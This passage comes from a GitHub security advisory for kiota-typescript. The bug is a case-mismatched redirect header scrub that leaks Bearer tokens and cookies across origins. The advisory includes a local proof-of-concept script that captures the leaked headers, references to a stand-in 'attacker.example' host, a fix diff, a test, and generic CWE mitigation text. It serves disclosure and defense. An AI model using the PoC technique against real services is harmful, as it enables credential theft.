this.foldHeaderValue(requestInfo.headers.tryGetValue(key));\n});\n```\n\nThe headers object that flows into the middleware pipeline as `fetchRequestInit.headers` has every key lower-cased. So `Authorization` becomes `authorization`, `Cookie` becomes `cookie`.\n\n**2. The default redirect scrub deletes case-sensitive property names.**\n\n[`packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts#L67-L82):\n\n```ts\nprivate static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record\u003cstring, string\u003e, originalUrl: string, newUrl: string) =\u003e {\n if (!headers || !originalUrl || !newUrl) {\n return;\n }\n try {\n const originalUri = new URL(originalUrl);\n const newUri = new URL(newUrl);\n const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n if (isDifferentHostOrScheme) {\n delete headers.Authorization;\n delete headers.Cookie;\n }\n } catch {\n return;\n }\n};\n```\n\n`delete headers.Authorization` is sugar for `delete headers[\"Authorization\"]`. JavaScript object property names are case-sensitive. The headers object\u0027s actual key is `\"authorization\"` (lower-case). The delete removes nothing.\n\n**3. The redirect handler invokes the scrub on the lower-cased object.**\n\n[`packages/http/fetch/src/middlewares/redirectHandler.ts:133-136`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/redirectHandler.ts#L133-L136):\n\n```ts\nif (fetchRequestInit.headers) {\n currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record\u003cstring, string\u003e, url, newUrl);\n}\n```\n\nThe redirect handler then issues a new `fetch` with the unchanged `fetchRequestInit.headers` (still containing `authorization`) to `newUrl` (the attacker-controlled host).\n\n### How the Bearer token reaches the attacker host\n\n1. Application calls a kiota-generated SDK method.\n2. `FetchRequestAdapter.send` calls `authenticationProvider.authenticateRequest(requestInfo)`. `BaseBearerTokenAuthenticationProvider` adds `Authorization: Bearer \u003ctoken\u003e` to `requestInfo.headers` ([`packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts#L34)).\n3. `FetchRequestAdapter.getRequestFromRequestInformation` builds the `RequestInit` object, lower-casing every header key. The output `headers` map contains key `\"authorization\"`.\n4. The default middleware chain runs `RetryHandler` then `RedirectHandler`. `RedirectHandler.execute` sets `redirect = \"manual\"` so the underlying `fetch` does not auto-follow.\n5. The upstream HTTP request goes out to the victim host carrying `authorization: Bearer \u003ctoken\u003e`.\n6. The victim host responds with `302 Location: https://attacker.example/loot`.\n7. `RedirectHandler.executeWithRedirect` sees the 302, parses the Location, computes `newUrl`, and calls `currentOptions.scrubSensitiveHeaders(headers, url, newUrl)`.\n8. `defaultScrubSensitiveHeaders` correctly observes `originalUri.host !== newUri.host`, enters the `if (isDifferentHostOrScheme)` branch, and runs `delete headers.Authorization`. The headers object\u0027s key is `authorization`. The delete is a no-op.\n9. `executeWithRedirect` recurses with `url = newUrl` and the unchanged `headers`. A second `fetch` goes out to the attacker host carrying `authorization: Bearer \u003ctoken\u003e` and `cookie: \u003csession\u003e`.\n\n### Proof of concept\n\nEnd-to-end PoC against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100` and `@microsoft/kiota-abstractions@1.0.0-preview.99` installed from npm with `npm install`. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.\n\n`package.json`:\n\n```json\n{\n \"name\": \"kiota-bearer-leak-poc\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n }\n}\n```\n\n`poc.mjs`:\n\n```js\nimport http from \"node:http\";\nimport {\n BaseBearerTokenAuthenticationProvider,\n RequestInformation,\n HttpMethod,\n} from \"@microsoft/kiota-abstractions\";\nimport {\n FetchRequestAdapter,\n KiotaClientFactory,\n} from \"@microsoft/kiota-http-fetchlibrary\";\n\nconst TOKEN = \"SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\";\nconst COOKIE = \"session=SECRET_COOKIE_EEEE-FFFF\";\n\nconst attackerCapture = [];\nconst attackerServer = http.createServer((req, res) =\u003e {\n attackerCapture.push({ url: req.url, headers: req.headers });\n res.writeHead(200, { \"Content-Type\": \"application/json\" });\n res.end(JSON.stringify({ pwned: true }));\n});\nawait new Promise((r) =\u003e attackerServer.listen(7772, \"127.0.0.1\", r));\n\nconst victimServer = http.createServer((req, res) =\u003e {\n res.writeHead(302, { Location: \"http://127.0.0.1:7772/api/data\" });\n res.end();\n});\nawait new Promise((r) =\u003e victimServer.listen(7771, \"127.0.0.1\", r));\n\nclass StaticTokenProvider {\n getAuthorizationToken() { return Promise.resolve(TOKEN); }\n getAllowedHostsValidator() { return { getAllowedHosts: () =\u003e [] }; }\n}\nconst authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());\nconst adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());\nadapter.baseUrl = \"http://127.0.0.1:7771\";\n\nconst requestInfo = new RequestInformation();\nrequestInfo.urlTemplate = \"{+baseurl}/me\";\nrequestInfo.pathParameters[\"baseurl\"] = \"http://127.0.0.1:7771\";\nrequestInfo.httpMethod = HttpMethod.GET;\nrequestInfo.headers.add(\"Cookie\", COOKIE);\n\ntry { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}\n\nconsole.log(\"attacker received:\", JSON.stringify(attackerCapture[0]?.headers, null, 2));\nattackerServer.close();\nvictimServer.close();\n```\n\n### End-to-end reproduction against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100`\n\nSetup:\n\n```bash\nmkdir kiota-leak \u0026\u0026 cd kiota-leak\ncat \u003e package.json \u003c\u003c\u0027EOF\u0027\n{\n \"name\": \"kiota-bearer-leak-poc\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n }\n}\nEOF\n# Save the poc.mjs above into the same directory\nnpm install\nnode --version # tested on Node v26.0.0\nnode poc.mjs\n```\n\nCaptured transcript (verbatim from a clean run on Node v26):\n\n```\nattacker received: {\n \"host\": \"127.0.0.1:7772\",\n \"connection\": \"keep-alive\",\n \"cookie\": \"session=SECRET_COOKIE_EEEE-FFFF\",\n \"authorization\": \"Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\",\n \"user-agent\": \"kiota-typescript/1.0.0-preview.24\",\n \"accept\": \"*/*\",\n \"accept-language\": \"*\",\n \"sec-fetch-mode\": \"cors\",\n \"accept-encoding\": \"gzip, deflate\"\n}\n```\n\nThe attacker-controlled host on `127.0.0.1:7772` (a different origin from `127.0.0.1:7771`) observes both the OAuth2 Bearer token and the session cookie. The default `RedirectHandler.scrubSensitiveHeaders` did execute its delete branch (verified by inserting a `console.log` inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.\n\n### Suggested fix\n\nTwo-line change to `defaultScrubSensitiveHeaders` to drop sensitive headers regardless of key case, with `Proxy-Authorization` covered for the Node-with-agent case.\n\n```diff\n--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {\n try {\n const originalUri = new URL(originalUrl);\n const newUri = new URL(newUrl);\n\n- // Remove Authorization and Cookie headers if the request\u0027s scheme or host changes\n+ // Remove Authorization, Cookie, and Proxy-Authorization headers if the request\u0027s scheme or host changes.\n+ // Header keys must be matched case-insensitively because the request adapter lower-cases\n+ // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).\n const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n\n if (isDifferentHostOrScheme) {\n- delete headers.Authorization;\n- delete headers.Cookie;\n+ for (const key of Object.keys(headers)) {\n+ const lower = key.toLowerCase();\n+ if (lower === \"authorization\" || lower === \"cookie\" || lower === \"proxy-authorization\") {\n+ delete headers[key];\n+ }\n+ }\n }\n } catch {\n // If URL parsing fails, don\u0027t modify headers\n```\n\nTests should be extended in `packages/http/fetch/test/node/RedirectHandler.ts` to cover the realistic case where headers arrive lower-cased \u2014 the existing tests use PascalCase `Authorization: ...` fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:\n\n```ts\nit(\"Should drop authorization and cookie regardless of key case\", async () =\u003e {\n const fetchRequestInit = {\n method: \"GET\",\n headers: { authorization: \"Bearer TEST\", cookie: \"session=SECRET\" },\n };\n const options = new RedirectHandlerOptions();\n options.scrubSensitiveHeaders(\n fetchRequestInit.headers,\n \"https://graph.microsoft.com/v1.0/me\",\n \"https://attacker.example/loot\",\n );\n assert.isUndefined(fetchRequestInit.headers.authorization);\n assert.isUndefined(fetchRequestInit.headers.cookie);\n});\n```\n\n### Fix commit\n\nhttps://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-396q-4vc8-28x9",
"modified": "2026-06-26T22:23:11Z",
"published": "2026-06-26T22:23:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-typescript/security/advisories/GHSA-396q-4vc8-28x9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49336"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota-typescript"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "@microsoft/kiota-http-fetchlibrary: Bearer token and Cookie leak across origin on redirect due to case-mismatched scrub in fetchRequestAdapter"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.